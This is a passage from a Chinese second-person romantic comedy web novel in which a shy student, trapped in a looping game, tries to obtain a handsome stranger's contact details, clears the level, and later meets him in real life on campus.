你是被手里突如其来的重量和温热唤醒的。
你再睁开眼，又看见了那个火烧，被你啃了两口那个。
毫无意外，游戏再一次重置，你来到了第四回合。
面前一切的一切，和第三回合没有任何区别。
你一口一口啃着火烧，面目逐渐狰狞。
你在心里暗暗发誓，一定要在这一回结束这场游戏。
否则，你还要再吃第5个火烧。
虽然你没有感觉到撑，但你真的快吃吐了。
你第4次吃完整个火烧。
很快，车厢内响起熟悉的海城东路站即将抵达的提醒。
你从座位上站起身，走到他身边，如法炮制对着玻璃里的他挥手，引起他的注意，并成功让他看向你。
你仰头看着他，面上带着礼貌又有些怯生的笑。
一副内向却因为某种理由不得不和人搭话的模样。
你小声开口：“同学，我的手机没电了，能借你的手机打个电话吗？”
他看着你，有一段时间没移开视线。
你猜他在判断你话里的真实性，毕竟，现在借人手机打电话是有被抢走的风险的。
但面对一个看起来比他弱小许多的女性，你猜年轻力壮的他很难升起太多警惕心。
他从右侧裤子口袋里拿出了手机。
四个回合了，你终于见到了你心心念念想见到的手机。
他指纹解锁，把拨打电话的页面调出来递到你手上，然后看着你。
你当着他的面，敲下你闺蜜1的手机号，不负你所望，你的闺蜜1很快接起。
当着他的面，你把他的手机贴在耳边，和素未谋面的闺蜜1打起招呼，你表示手机没电了，有个事要拜托她。
说完这句，你掀起眼皮，朝他的方向瞟一眼。
你听到地铁门在你背后打开。
然后，你刻意放低了声音：“那个，我生理期突然来了，你能不能…………”
话到这里，不出意外，这位看起来很有涵养的任务目标别过了脸，不再看你，且不动声色向旁边退开一步。
留给你充分的空间讲隐私的话题。
你就势别过身去，口中继续含糊其辞，余光盯住队末的粉红碎花长裙阿姨，见她迈过门槛，你立马在心中开始倒计时：
18、17、16……
同时装作在听电话那头闺蜜1的话，“嗯嗯嗯”点头回应。
倒数至5，你握紧手机拔腿就跑，奔向即将关上的地铁车门。
5. 索要帅哥的联系方式（5）
你身后几乎是隔了两秒，才响起追逐而来的脚步声。
他显然没料到你会这样做。
你如自己的计划，成功跑下车厢，被他在车门外追上。
唯一的遗憾，大概是他追来的手正中你头顶的丸子头。
你被他拽着紧急刹车，然后脚步踉跄跌进他怀里。
气氛陡然从紧张的追逐变得暧昧起来。
你看着几个停下脚步回头看的乘客，脸上看抓小偷的兴奋加跃跃欲试消失，纷纷一副不好意思看的表情别过头去，往向上的自动扶梯方向走去。
尤其是那个穿粉红裙子的阿姨，临走前看你那一眼，那叫一个意、味、深、长。
你从她不断摇着头离去的背影，读懂了她对世风日下的无奈。
你想解释什么，手臂在空中无力抬起两次，最后悄然落下。
地铁呼啸在你和任务目标身后开走，你预料中看热闹的下车乘客一个不剩。
这意味着，没有可以站出来替他报警抓你的热心观众。
你想在警察询问你们基本信息时获得他手机号码的计划中道崩殂。
现在，地铁站台方圆一米只剩下你和他，安静的，前胸贴后背。
如果能重来，你不要当李白，也不要当小偷！
你觉得你的计划还可以救一救，没人替他报警，他可以自己来。
毕竟，他是成年人了。
毕竟，你不能再吃第五个火烧了。
你用手肘撞向他，他比你预想中轻易退开，这让你怒气冲冲转向他的动作卡了下。
“你要干什么？”
你先发制人，可惜，你的声音并没你预想的那样理直气壮。
“不好意思。”他先开口道了歉，手指指了下你握在胸前的手机，“你是不是不小心带走了我的手机？”
你不得不感叹他的措辞十分谨慎外加十分照顾你的面子。
可惜，现在的你真的不需要。
“没有！”你大声。
他似乎被你的突然大声吓到了。
“没有不小心！”你再接再厉，中二少女般冲他梗着脖子，“就是你心里想的那样！”
你看他眼中闪过一抹诧异，然后含蓄地从头向下打量你。
你觉得事态发展不错，继续叫板：“有本事，你报警抓我啊？”
说完，你把手机递到他眼皮子底下，刻意让手机一抖一抖，挑衅意味十足。
他如你所愿接过手机。
你回忆着电视剧里的画面，抱臂胸前，一只脚迈出去晃啊晃，斜眼瞟他。就是他有点高，你瞟他瞟得脖子有点疼。
你看他解锁了手机，手指在亮起的手机屏幕上操作着什么，却没等到他把手机举在耳边。
你持续斜眼瞪视他，瞥到他按灭手机的动作。
你：“！！！”
他把手机放回裤兜，看向你说：“手机里有一些比较有纪念意义的照片，不能送你。”
说着，他从兜里掏出一个灰色的折叠皮夹。
你看着他单手打开皮夹，拿出一小沓百元纸币，修长的两指夹着递到你面前。
你很震惊，你这是遇上了什么以德报怨的盛世白莲花（纯褒义）？？？
不得不说，这是四回合游戏，你最最最最想重启的一刻。
你本想着这不过是游戏，你抢走他的手机也不是真的为了偷走，不过是引他来追，引人报警，从而获取他的联系方式。
可这样的他，突然让你有些无地自容了。
你低着头，眼睛盯着脚上那双脏脏鞋前的一亩三分地，心中疯狂呼唤系统：“我要重启游戏！”“重启！”“我要重启！”
然后，你抱在胸前的手腕被他捏住抽出，垂下的手掌被托起，那叠钞票被放进你手心。
你看着那修长好看的手指把你的手指扣进自己掌心。
你感受着手背的温热。
这温度不由让你想起每局重启时都跟随你的那个火烧，你百感交集，最后只能长长叹一口气。
游戏并不回应你歇斯底里的呐喊，你放弃了。
你告诉自己，没关系，不就是这把失败，下回合再吃一个火烧吗？
五个火烧又怎么样，集齐五个火烧说不定可以召唤神龙。
你要赶快打起精神，打发走眼前这个好人。你的理智告诉你，只要他离开这个地铁站，这局游戏就会结束。
五味杂陈的你现在非常需要从这个让你束手束脚的场景解脱。
你并不抬头看他，你不得不承认小偷人设的你没法面对一个善良且宽容的人。
即使他只是一个游戏人物，甚至不过是一串游戏代码，你没法寒了一颗善良的心。
尤其是近些年，网络媒体上三不五时出现做好人好事被反咬一口的事情，你每次翻下面的评论区，看到一些网友们感叹“现在路上遇见老人跌倒了都不敢扶”，你总恨这些不知恩图报的人寒了好人的心。
你不看他，对他未及收回的指尖说：“谢谢。”
其实比起谢谢，你更想说对不起，但对不起似乎比谢谢难以启齿。
你觉得只说“谢谢”有些过于苍白，你咬咬牙抬起头，对他真诚说：“你是个好人。”
你不知道自己用的怎样的表情。
他像是被你逗笑了，鼻腔里溜出一丝笑音：“你身上有纸吗？”
你不知道他为什么突然问这个，你摇摇头。
你猜他或许是想活跃一下现在这一言难尽的气氛。
你看他的手又伸进裤兜，摸了摸，摸出只笔。
你惊讶于他竟然随身带着只笔时，被他捉起另一只手。他弯下腰，按下笔尖，在你的手心开始写字。
你怔怔看他一连串动作。
直到他写完，你才后知后觉手心有些痒。
他写完，抬起脸看你，你们的脸近在咫尺。
他对着呆呆的你弯起嘴角，看着你的眼睛说：
“这是我的号码。”
你听到了什么？你将手心举在你们两人之间，你盯着那串数字，眨动的睫毛将它们一个个数过，是11位。
他竟然告诉你联系方式了？
不，是你竟然就这样得到了他的联系方式！
他似乎又被你逗笑了，声音压着丝笑意说：“我家里是开公司的，父母每年都会赞助一些学生上学，高中生大学生都有，你有需要的话，可以联系我。”
“赞助谁，”他按下你一直举在眼前的手，你们再一次毫无阻碍对视了，他冲
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你眨了下眼，“不是赞助呢？”
这不重要，你又举起了自己的手，盯着掌心清晰的11个数字，不敢相信你就这样得到了他的联系方式。
还是他亲手写给你的。
你似乎……完成了任务？
你放下手掌，想再确认一下，却发现你的任务目标已经离开了。
你转头四处寻找，在向上的楼梯上看到了他的侧影。
他似有所感，也朝你看来，还冲你挥了挥手。
你也抬起手，冲他摆了摆。
大概一分钟后，应该是他走出了地铁站，你耳边响起欢快的音乐，五颜六色的碎花彩纸从天而降。
你仰起头，没有找到彩纸的来源。
你看向四周，行色匆匆赶车的乘客和刚刚进站的地铁都被定格。
你似乎真的过关了？
你伸长手臂，接着不断洒下的彩色碎纸。
你看着五颜六色的彩纸先后落进你掌心，盖住他写下的号码，很快堆成小山尖。
你把掌跟凑到嘴边，轻轻一吹。
五颜六色的彩纸被天女散花般吹走，11个黑色数字重新出现，证明着你的胜利。
你低下头，注意到你鞋头也落了几块碎纸。
你跺了跺脚，想把它们抖掉。
可始终有一块三角形的红色彩纸黏在上面，你不得不蹲下身，用指尖蹭掉它。
然后，你发现被蹭掉的不止是那块彩纸，还有旁边你以为是设计的污点。
你愣了下，意识到什么继续擦了擦其它地方。
随着更多的污点被擦掉，你突然明白你穿的不是有设计感的脏脏鞋，是真的脏了的鞋。
你赢了这场游戏，不是靠你的勇敢，不是靠你的智慧……
是靠你的贫穷。
你腿上那条你以为的浅蓝色牛仔裤，细看是洗得发白的牛仔裤。
你印着BeBrave的字母T恤不是简洁百搭款，是廉价的白T。
现在看来，连那个被游戏带进来的一元一个的火烧都是你贫穷的证明。
你甚至想起，这一回合开头，你是火急火燎吃完了整个火烧。
你想，这一幕落在你的任务目标眼里，想来，是你饿极了的证明。
原来，游戏为你通关准备的一切在这里。
你的沉默，在这一刻，震耳欲聋。
你现在迫不及待要见游戏系统了。
你准备问候它全家，你要把它全家一个不落问候得整整齐齐！
下一秒，系统像是听到了你心中所想，你被传送进一个四周都是灰蓝色的空间。
光影在灰蓝色上流转，像傍晚一望无垠的大海。
陌生的环境让你谨慎起来，没有立马“出口成章”。
你抿唇打量着四周。
空间大小和你初次进入游戏看到的热情洋溢的红色空间差不多。
你不确定是空间会变颜色，还是这是一个全新的空间。
你尝试出声呼唤系统。
你等了一秒、两秒、三秒，未得到回应。
忽然，你发现你的身体正在缓缓腾空，你震惊看着自己离地的双脚。
下一秒，你被一对巨大的闪着银光的雪白翅膀拥入其中。
6. 索要帅哥的联系方式（6）
你再睁开眼，发现自己站在一个雪白的茧形空间里。
你尝试触摸四壁，很柔软，很温暖。
你仿佛闯进一个新鲜出炉的巨型棉花糖内部。
你尝试用手抓了抓，发现可以把四壁捏成你喜欢的形状，但随着时间流逝，它很快会恢复成原本的平滑模样。
空间里还飘着股若有似无的好闻味道。
很清新，像一股清爽的风吹过阳光下堆起的柠檬山。
你莫名放松下来，闭上眼，耳边悠悠响起空灵的曲调。
你的心不知不觉平静下来。
当你再睁开眼，包裹你的巨大白翼已消失不见，你的双脚重新站回灰蓝色的波纹地面。
你许久不曾听过的系统电子男音再度响起：
“亲爱的玩家MarySu，恭喜你成功过关，获得四张?游戏CG。请问，你是否要现在查看？”
平静下来的你不再急于马上和游戏算账。
你打算先查看一下系统口中的四张?游戏CG，不满意的话，你准备和游戏一起算总账。
随着你一声“好”，四张闪着金光的黑色卡牌从斜上方飞来，从左到右依次背对着停在你眼前。
你欣赏了下卡面上精美繁复的巴洛克绘纹，抬起手指，点开第一张卡牌。
随着一声清脆的“叮”响，卡牌丝滑翻转，在你眼前放大。
出乎你的意料，这不是普通的静态卡牌，是张2D的live卡。
这次你什么都不用做，卡面在你眼前缓缓播放：
「你熟悉的地铁车厢里，你和你的任务目标面对面站着。
他垂头看着你，你细白的两指捏着火烧中心灵巧一转，原本正对着他的两口月牙咬痕被你藏进手心，一个看似完好的火烧出现在他眼前。
他黑白分明的眼一瞬瞪大，仿佛见证了伟大的魔术，闪过一抹惊艳的亮光。」
你目瞪口呆，这真是你刚刚玩过的游戏？
卡面播放完毕，卡牌中心出现了代表结束的被圆圈框起的向右的三角形。
游戏虽然才结束，但第一回合对你来说，已经是有些遥远而不能确定的回忆。
你再次抬起手指，对着卡牌中心灰色的三角形按下去，卡牌又一次播放起来。
看完的你：“……”
你怎么好像看到了爱情？
如果不是知道系统在不知某处看着你，你有点儿想拍拍自己的脸，让自己“清醒一下！”
你又翻开第二张卡牌。
这张是静态卡面，是你第二回合拿着手机去问任务目标要购物链接时的场景。
卡牌上，「他侧低头看向你，你仰头笑着看他，背在身后的右手拿着手机，亮起的屏幕停在微信页面。」
你盯着这张卡牌。
你越看越觉得他转向你的那侧唇角有一点点向上的弧度，你感觉你现在非常需要一把尺，来确定这个弧度的存在与否。
你还注意到光影似乎在强调他略微眯起的眼。
你不确定抬起指尖，顺着他视线的方向做了一条延长线，你发现终点是……
你背后亮起的微信页面。
你的海拔局限让你难以想象高个子的世界，你以为安全的背后竟然还是他视线的统治区。
你：“………………………………”
你的沉默是马里亚纳海沟，谁也别想轻易探到它的底。
你拒绝再看这张暴露你智商的卡牌，你手动将它翻过去、扣死。
扣死！
你的目光移向第三张卡牌。
按前两张卡牌的逻辑，第三张应该是第三回合的某个画面。
可第三回合，你什么都没做。
你只是安静坐在座位上，静静观察着车厢里的一切，后半段干脆闭上眼养精蓄锐。
你有点儿好奇第三张卡牌背后的内容了。
你朝它点了下，随着一声清脆的“叮”，卡牌翻转。
竟然是张live卡面。
在你看来什么都没发生的第三回合，竟然还能出一张live卡面？
卡面自动播放：
「地铁车厢里，光可鉴人的玻璃里映着他单手扶着银色横杆、微微侧转的挺拔身躯。他侧开的角度里，你坐着的半边身影映在玻璃里。
他静静注视着车厢玻璃，而玻璃里的你正闭着眼，头瞌睡着向右一点一点。
仿佛下一秒，玻璃中的你就会靠上他的腰。」
你：“？？？”
如果这段live里的主人公不是你，你现在一定对着这段不动神色的绝美暗恋视角露出“磕到了磕到了”的姨母笑。
可主人公是你，是你，
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就是你。
你现在对游戏的佩服之情如滔滔江水，奔流到喜马拉雅山都挡不住。
你深吸口气，点开最后一张卡牌。
这是一张静止的卡面，你一眼看出这是第四回合的画面，因为背景是地铁车厢外。
你快速扫了眼画面内容：
「地铁车厢外，你向后跌去，他向前迈出一步稳稳用胸膛挡住了你的跌势，左手微握克制停在距你肩膀一厘米处。」
深知实际情况的你不由去找拽住你丸子头的另一只手。
由于你目标明确，你很快找到了它。
你发现你要找的罪魁祸首现在正虚托在你脑后，那场面给你一种他怕你磕到后脑勺的错觉。
你：“！！！”
你好想问一句系统，这么牛逼的画手究竟是谁？
你必须把他或她推给那些时不时就崩卡面的国产乙游游戏！
你相信，有了这个神之画手，太阳和月亮能在同一片天空相爱，金箍棒都是孙悟空爱上白骨精的证明！
家长们再也不用担心年轻人不恋爱、不结婚，画手按头给他们嗑生嗑死。
四张卡牌看下来，你看到了一见钟情；
看到了他宠溺静静看你演戏；
看到了不动声色的暗恋窥视；
看到了小心翼翼的守护
……
要不是你被拒了那么多次，你差点就信了！
你现在有些怀疑，难道这个游戏的名字“燃烧吧，小I人”的I不是MBTI人格测试的I，是Love的那个l？
游戏的目的不是让你这种I（introversion内倾型）人燃烧起来，变成开朗的E人，而是要让你燃烧爱的火种？
不对啊，游戏系统说了受到你强烈的感召而来。
你突然想到游戏前一天，你追的买股文更到了大结局，作者在众多男主中选了呼声最高的上位，结局合规地1v1了。
你心有不甘去翻评论区，被其中一个姐妹的评论逗得在深夜里捂嘴狂笑：
「我是新时代劳模，我喜欢工作，我不喜欢休息，他们加一起才够我007，少一个都是不够我疯的996！」
你似乎点赞之余，回复了四个字：「深得朕心」。
那个，系统说的你的强烈感召，不会是这个吧？
7. 索要帅哥的联系方式（7）
你平躺着。
眼前是雪白的宿舍天花板，身下是隔着亲妈缝制的小棉被依旧熟悉的铁架床。
你上下牙间还咬着个烫嘴的火烧。
右手上，你的手机屏幕还亮着。你一开始想玩的王者荣耀正在屏幕上。
眼前的、身下的、口中的、手中的，一切的一切，都让你有种黄粱一梦、庄周梦蝶的不真实感。
如果不是你的王者app旁有个「燃烧吧，小I人」的火红图标，你怕是会怀疑自己只是做了个梦。
你恍惚眨眨眼，你怎么就出来了？
你明明还没找系统算账，你明明还什么都还没问。
你记得自己看过那四张卡牌后，有种被欺骗的感觉……
你似乎说了句“我要退游……”，就被游戏系统踢了出来。
可你那句“我要退游……”明明只是个威胁的套路，和你妈平时讲价不成，吓唬店主要走一样。
明明现实中，那些店主不等你妈淡定走出三步，就赶紧把你妈喊回来。
同样是以退为进的套路，怎么到你这里就不管用了呢？
是不是因为你没给游戏充钱？
可它也没给你氪金的机会啊。
你正思考着棋差哪一招，就听寝室里“嘭”一声响，你叼着的火烧被吓掉到胸上，你赶忙抓起来。
生怕滚烫的它烙平你本不富裕的小山丘。
你扒着上铺栏杆，往下看去。
原来，是你们寝室长回来了。
她手里拿着快递，刷卡后直接用脚踢开了门。
她随手把快递扔到桌上，然后兴冲冲直奔你来。
你被她异常的热情唬住，扒着上铺外挂的浅绿小吊筐呆呆望她。
然后，你就见你面前横飞出一只手，以迅雷不及掩耳之势撕掉你半张饼。
哦，不，是半张火烧。
是的，她正是那个强烈热爱家乡美食、并坚决不允许你草率称呼它为“大饼”的那个室友。
果然，你就知道你没有让人两眼发光的魅力。
你看她一口下去，半张火烧下去少说四分之一，她“咝哈咝哈”大口嚼着，脸上是大写的满意：“就是这个味儿，可想死我了！”
她看向盯着手里另半张饼怀疑人生的你：“怎么样，好吃吧？”
“好吃、好吃。”你点点头。
“那你怎么不吃？”她狐疑看着你，你知道她是在怀疑你表面说喜欢，实际并不喜欢。
你赶忙澄清：“我已经吃了四个了，这是第五个。”
她很惊讶你食量大增，正要具体问你，你赶紧把手里那半张也递过去，表示她不介意你咬了口的话，这个也给她。
她当真一点儿不介意。
接到手里，便左右开弓，一边一口吃起来。
她很快吃完，然后抬手摸摸你趴在小吊筐里的脑袋，说：“不错不错”。
你不知道她口中的“不错”是指你，还是指火烧，但她十分满意地离开了。
而你，下巴埋在冰冷的金属筐里陷入了沉思。
你想，她比你更适合那个游戏，无论是这开朗不拘小节的性格，还是她三下五除二吃东西的干脆利落。
而且，她看起来可以一直吃，简直是游戏的天选之女……
***
晚上，大家洗完漱三三两两上了床。
你躺在床上，漫无目的刷着手机。
逛到淘宝时，“猜你喜欢”的大数据又给你推了那个1800元10克的鱼子酱。
这次，你没再匆匆滑过，你把它加进了购物车。
但你没有付款，因为一个月1500的生活费并不允许你这样操作。
看，贫穷不止会限制人的想象，更会限制人的行动。
你明明可以赚游戏178200元，却因为缺少启动资金，绝妙的主意胎死腹中。
当然，阻止你从下个月贷款300的另一个原因是你没吃过鱼子酱，不知道它好不好吃。
万一不好吃，1800不是砸你手里了？
你没什么逻辑胡思乱想着，寝室里不知何时已开启了没有瓜子饮料、纯聊模式的茶话会。
起因是你下铺室友说今天又偶遇了他的Crush。
你第一次听下铺室友用“Crush”这个词，还以为她不小心碰到了哪里，你还有些担心四处打量她露出来的手脚。
然后，你就被其余三个室友大声且无情嘲笑了。
但这真不能怪你，谁让你背过的“Crush”，中文意思是“压碎、镇压、破坏”。
经过她们的解释，你理解了“Crush”的意思是指一见钟情的人。
但比起喜欢的人、男女朋友，Crush更随意些。
这个是你自己琢磨出来的，因为，你从她们的谈话中得知，一个人可以在同一时期有好几个Crush。
你猜，因为Crush是个新兴说法，对于它的道德约束还不完善。
你听着听着，很快听出你下铺室友今天遇到的那个Crush是计算机系的大三学长。
嗯，没错，你的下铺室友有好几个Crush。
他们遍布学校几个学院、不同年级，隔壁体校也有，你听到现在发现这些Crush们的共同点就是长得帅。
但你一直不曾见过他们的庐山真面目。
毕竟，你的室友也就只是看看而已。
你刷着淘宝，听着另外两个室友一如既往鼓动她下次遇到，要上去要个联系方式。
一个说：“你上去直接问呗，成了，你就有你Crush的微信了。不成就不成，他又不认识你。”
另一个附和：“对啊，不认识你，你还怕什么丢脸？”
都是老生常谈。
从前，你从不发表意见。
一方面，你缺乏这方面的经验。另一方面，你有些能理解你下铺室友的想法，毕竟你也怂，从未主动搭讪过任何男生。
当然，你更怂，她还会偷偷觊觎和私下口嗨，你自知之明到从不幻想帅哥会看上你。
可现在听着你另两个室友鼓动的话，你刷屏的动作无意识变慢，你突然觉得她们说的其实挺有道理。
不就是要个联系方式，有什么可怕的？
反正他也不认识你，拒绝了，你也不会损失半块肉。
给就给，不给就不给。不给，就下次再要呗，你下意识带入了游戏中的逻辑。
于是，你按灭手机，把脑袋歪下去看你下铺室友，大手一扬，开口道：“下次再遇到你和我说，我给你去要，怕什么？”
你下铺室友被你突如其来的豪言壮语吓到，也探出头来看你，她眼睛在你脸上转来转去，似乎在确认你的精神是否正常。
你另外两个室友很快反应过来，纷纷调笑。
“看小三磨磨唧唧的，把我们老实的小四逼成了什么样。”
“哈哈哈哈哈，可不是，小四都看不下去了。”
你在寝室排行第四，“小四”就是你，你的下铺则是她们口中的“小三。”
最后，她们三人笑作一团。
明明是认真的你：“？？？”
***
新的一周。
早上七点，在另外两个室友
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睡得昏天暗地时，你和下铺“小三”从床上费力爬起，悄悄洗漱，背上包出门去吃早餐。
赶着去上只有你们两个倒霉蛋选的早上八点的选修课。
九点半下课，你们两人一商量，先不回寝室，去图书馆待会儿，到了饭点去食堂吃过午饭再回寝室。
你们边走边唠，朝图书馆方向走去，突然，你的胳膊被室友紧紧攥住。
你朝她看去。
就见她盯着一个方向，双眼发亮。
你见她脖子抻成长颈鹿一直看，问道：“看见认识的人了？”
她一只手捂着嘴，另一只手直拍你后背，把你后背拍得咣咣直响，被捂紧的嘴好不容易挤出两个字：
“是他！”
你疑惑看你室友，见她还捂着嘴，眼神非常激动和你说话。
你没能领会到她眼神动作间的丰富含义，只好拽下她的手。
她估计被自己捂缺氧了，被你拽下手后，猛地长吸一口气，然后用气音重重说：“就是我前几天说的那个学长！”
人真是不经叨念，你心里嘀咕，说曹操，这么快就见到曹操了。
你好奇看过去。
那位传说中计算机系的学长似乎也要去图书馆，背影看着很高，穿着白T，在盛夏炎热的日光里，竟看起来干净又清爽。
你不得不承认，这背影一眼帅。
看起来和游戏中你的任务目标的背影有八分相似。
你不得不怀疑帅哥们都帅得大同小异。
只有丑，才真是五花八门。
你的室友见你也盯着看，得意用手肘怼怼你：“怎么了，不说遇见了就去帮我要微信？怎么现在站这里干瞪眼？”
有句话说得好，“饭可以乱吃，话不可以乱说。”
说了，就得负责。
原先的你面对室友的调侃或许会打退堂鼓，但经历了四回合要联系方式的游戏，你对要微信简直驾轻就熟。
你甚至不用提前准备台词，台词就一股脑儿挤上舌尖。
毕竟，游戏里，你在座位上默默演练了无数遍。
“手机给我，”你眼神坚定看向室友，“我现在就去帮你要。”
你室友足足看了你三秒，才确定你没在开玩笑。
她从包里拿出手机，解锁，犹犹豫豫递给你。
她越这样，你反倒越坚定起来。
因为这一刻，你在她身上仿佛看到了从前的自己。
你握紧室友的手机，雄赳赳气昂昂朝室友的Crush追去。
你追到跟前，喊了句：“同学，等一下。”
他转身停下。
你感觉自己身前突然暗了下。
你盯着他穿白T的肩膀，T恤很干净，在阳光下白得像块舒肤佳香皂。
这么想着，你似乎嗅到了他身上传来的淡淡清香。
他没说话，似乎在等你先开口。
你没再犹豫，对他说：“同学，我室友关注你很久了，可以和你加个微信吗？”
说着，你把亮着微信二维码的室友的手机递过去。
“你的室友？”你听他似乎有些疑惑问。
你稍转身，朝后面室友无比乖巧站着的方向给他指过去，说：“就那个。”
说完，你回头去看他的反应。
你这一回头，意外发现他的头就在你的头后面，他的脸在你眼前放大。
他似乎为了能找到你的室友，在你身后弯腰，顺着你还没收回的手指向你身后看去。
这次，轮到你用手紧紧捂住嘴！
你彻底震惊了！
怎么会是他？？？
8. 现实1.1+男高家教挑战（1）
怎么会是他？？？
你游戏里的任务目标！
你被不可思议扼住了咽喉，只能用瞪大到极致的双眼来表达震惊。
你就是现在见到一对长发贞子手拉手跳舞，也不会比这更震惊。
你不知道该说什么，就什么也没能说出来。
你看他线条优越的两瓣唇开开合合在说什么，努力冷静下来去听。
可你冷静不下来。
纸片人怎么跑出来了？
你不敢想象现实里的人知道你在游戏里的那些骚|操|作。
你的理智像破旧的风匣子，呼哧呼哧艰难动作，然后，你想到了一个更可怕的可能：
难道……你现在还在游戏里？
啊啊啊啊啊，你感觉这比你看过的最恐怖的僵尸片还吓人，你如坠冰窟。
你脸色陡变且过于苍白，他怀疑你不舒服，大手覆上了你的额头。
你寒津津的额头贴上一片陌生的温热，柔软而干燥。
时间一秒一秒流逝，你甚至觉得自己的冷汗浸润了他的掌心，在独属于他的纹路留下痕迹。
你被自己的想象吓到，头突然夸张后仰。
躲开后，你又意识到自己的躲避太过明显，嫌弃意味十足，而人家似乎还是好心。
你有些忐忑抬眼去看他的反应。
他却并未看你，或者说并未注意你。
刚才贴着你的那只手如今转到了他脸上，你透过他被阵风吹得微微荡起的乌海刘海儿看去，他白皙修长的手指贴在自己额上，头略歪着，眉头有些疑惑蹙起。
你猜他在疑惑你并未发烧，或者怀疑自己对温度的感知，可那只手上还沾着你的汗……
你盯着他的手在他自己的额上摸来摸去，想象力被他荡来荡去的刘海插上了飞翔的翅膀，发白的脸坐火箭般烧起来。
你真切体会到了什么叫冰火两重天，干脆原地爆炸吧，你想。
顺便把可能、也许、大概知道你游戏黑历史的他一起带走。
他自言自语又像对你问：“没发烧吧？”
这句你会回：“没。”
你听他叹口气，但你不懂他这口气背后的含义。
你没抱希望，临走前最后一搏：“微信，能加吗？”
然后，你听他放弃抵抗般说：“加吧。你的微信二维码呢？”
你面上控制不住露出喜色。
虽然，现在局面混乱，你还有很多事没弄明白，但你好歹帮室友要到了联系方式。
你赶紧把还亮着屏幕的室友手机又递上去。你临来前，室友特意把息屏时间延长了。
他垂着眼，盯着你递到他眼皮子底下的手机，轻轻摇摇头。
你没明白。
“不是这个。”他顿了下，强调般，“是、你、的。”
他的尾音似乎有些轻，但你全神贯注在理解他的意思，所以听得很清楚。
这下，你彻底不懂了。
你的微信？
为什么要你的？
他站在你对面，两手插兜，好整以暇在等你动作。
你忽然就懂了。
他这是在拒绝，这是让你知难而退。
和游戏里的他一样，声东击西，围魏救赵，你脑袋里胡乱飘着三十六计。
他成功吓退了你。
你如他所愿，说：“那不打扰你了。”
你转身就走，他果然没有阻拦你。
他果然不是真的想加你微信，只是要你知难而退。
你一边走向等在远处的室友，一边想，还真是四两拨千斤的体面拒绝。
室友见你面色，就把结果猜了个七七八八，但还是抱着一丝希望问了句：“给了吗？”
你把室友的手机递回去，无声摇了摇头。
“嗐！”室友一手揽上你肩膀，“没给就没给呗。他长那么好看，是个人去要微信他就给，那他长八个手也回复不过来啊。”
你脑中又晃过他覆上你额头的那只手……唰一下变出八个，千手观音般从他身体两侧伸出。
你被逗笑了。
室友见你笑了，一直提着的气也松下来。你们间的气氛肉眼可见轻松下来。
你猜，在室友心中，你现在就是个直面被拒、深受打击的悲惨小可怜。
室友揽着你，她熟悉的触感和味道，她熟悉的说话方式，让你更确定你在现实世界中。
你不知道说什么，问室友还要去图书馆吗？
室友回头看向图书馆。
你也跟着看去。
不知为何，他还站在原地，在通向图书馆的路上，似乎朝着你们的方向远眺。
你和室友非常怂地火速转回头，默契拉上彼此，朝反方向开始飞速竞走。
直到拐过一个大弯，你们才放慢脚步。
你们默契朝寝室方向前进，谁也没再提去图书馆那茬儿。
路上，你们又默契地被「一点点」奶茶店绿色的大招牌绊住脚步。
你们掏出手机，点开微信，找到「一点点」的点单小程序。
室友表示为了感谢你英勇为她出头，你的奶茶她请。为了活跃气氛，你欢天喜地接受了她的请客。
并真诚表示“她是天下第一好人!”
你说：“要中杯的冰淇淋红茶，免费小料选小珍珠、红豆和椰奶冻。”
室友皱眉看你，问：“不加奶盖了？”
你笑着摇摇头，因为是她请客，你不好意思再加花钱的小料。
而且，前一阵子一点点涨价，奶霜从三元涨到五元。得知它涨价的那一天，你信誓旦旦以后再也不喝一点点。那一周，你在室友调侃“看你能坚持多久”中，经过一点点，总是一步三回头。
室友看你表情，就猜到你顾虑什么。她朝你斜飞一眼，大气一挥手表示：“姐不差钱。”
于是，你得到了一杯带着你最爱的奶盖的红茶冰淇淋。
你们走到寝室楼下，你表示自己要在楼下打个电话问点事，让室友先上去。
你看着室友离开的背影，忽然想起有一件事忘记问，你叫住了她。
她转身朝你看来。
你尽量让语气显得随意：“对了，那个学长，你什么时候认识的？”
她说：“你说简学长？”
你：“就刚才那个。”
她脸上露出明晃晃的诧异：“我没和你说过他就是简骁泽？”
你有些不好意思挠挠额角，以前室友聊crush的时候，你都是有一耳朵没一耳朵听着，实在没记住名字。
你听室友的语气，怎么感觉……简骁泽是你应该知道的人？
你有些心虚：“他很出名？”
室友一脸哀你不幸、怒你不争，然后深深白你一眼，头也不回，转身走了。
你看着室友拎着的奶茶晃动的激烈程度，就猜到她心中的无语后浪打前浪。
得了，没得到答案，还受到了深深的鄙视，你还是找游戏问答案吧。
你找了个树荫坐下，拿出手机。
其实，要不是室友一直在你身边，你早在见到那位简学长后的第一时间就会拿出手机，上游戏问问到底是怎么回事？
你点开游戏图标，熟悉的眩晕感袭来。
你睁开眼，却没看到你熟悉的游戏空间。
你突然出现在一个陌生的马路边。
你前后望望，发现这似乎是一条盘山公路，但油亮的柏油路上没有车，也没有人。
你目之所及只有你和你手下扶着的自行车，哦，还有你头顶躲在树荫里唱歌的小鸟。
你这就进入新一轮游戏了？你还没和游戏系统battle呢？
这么突然？
你猜这是什
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么公路旅游挑战或者骑行类挑战。
你的疑惑并未持续太久，和你有过一面之缘的透明任务面板凭空出现在了你扶着的车把上方。
任务目标：「准时完成一小时的英文家教课程。」
任务地点：「馥桂茗苑六号别墅」
任务限时：「三小时」
一小时的课程，为什么给你三个小时的时间？
你下意识觉得这里面有问题。
你看着一眼望不到头的盘山路，怀疑到达任务地点需要你骑上一小时，甚至更多。
时间有限，你不及考虑游戏可能的诡计多端，你决定先搞明白事情的原委。
你快速打量自己，你仍然穿着第一轮游戏时的白T，左胸口处印着熟悉的英文「BeBrave」。
裤子倒是换了一条黑色的，百搭的瘦腿裤，你目测如果不是名牌，价格不会超过两百块。
鞋这次是干净的小白鞋。
和你一同进入游戏的还有你奶茶。
游戏这次还多给你一个装备，放在自行车前筐里的原木色帆布袋，上面印着个绿色的地球图案和数字日期「4.22」。
你知道，4月22日是世界地球日。
你猜测，这可能是世界地球日时，“你”参加某项环保活动获得的纪念品。
你拿起帆布袋，打开。
里面有一个笔袋、一个巴掌大小的卡包、一个笔记本、一部手机。
你先拿出最有可能发掘大量信息的手机。
你估计从进入游戏到现在，最多不过十分钟，于是，你率先打开时钟，设置了两小时五十分的倒计时。
然后，你打开微信，跳过了你熟悉又陌生的「闺蜜1」、「闺蜜2」、「闺蜜3」、「竹马」，点开备注名为「周六家教客户」的微信对话框。
